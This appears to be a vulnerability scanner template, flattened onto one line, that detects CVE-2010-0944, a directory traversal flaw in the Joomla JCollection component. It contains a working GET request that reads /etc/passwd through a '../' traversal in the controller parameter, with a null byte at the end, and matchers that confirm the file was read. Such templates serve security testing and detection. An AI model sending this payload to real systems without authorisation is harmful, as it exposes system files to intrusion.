id: CVE-2010-0944 info: name: Joomla! Component com_jcollection - Directory Traversal author: daffainfo severity: high description: A directory traversal vulnerability in the JCollection (com_jcollection) component for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the controller parameter to index.php. reference: - https://www.exploit-db.com/exploits/11088 - https://www.cvedetails.com/cve/CVE-2010-0944 - http://packetstormsecurity.org/1001-exploits/joomlajcollection-traversal.txt - http://www.exploit-db.com/exploits/11088 remediation: Apply all relevant security patches and product upgrades. classification: cve-id: CVE-2010-0944 tags: cve,cve2010,joomla,lfi requests: - method: GET path: - "{{BaseURL}}/index.php?option=com_jcollection&controller=../../../../../../../etc/passwd%00" matchers-condition: and matchers: - type: regex regex: - "root:.*:0:0:" - type: status status: - 200 # Enhanced by mp on 2022/02/13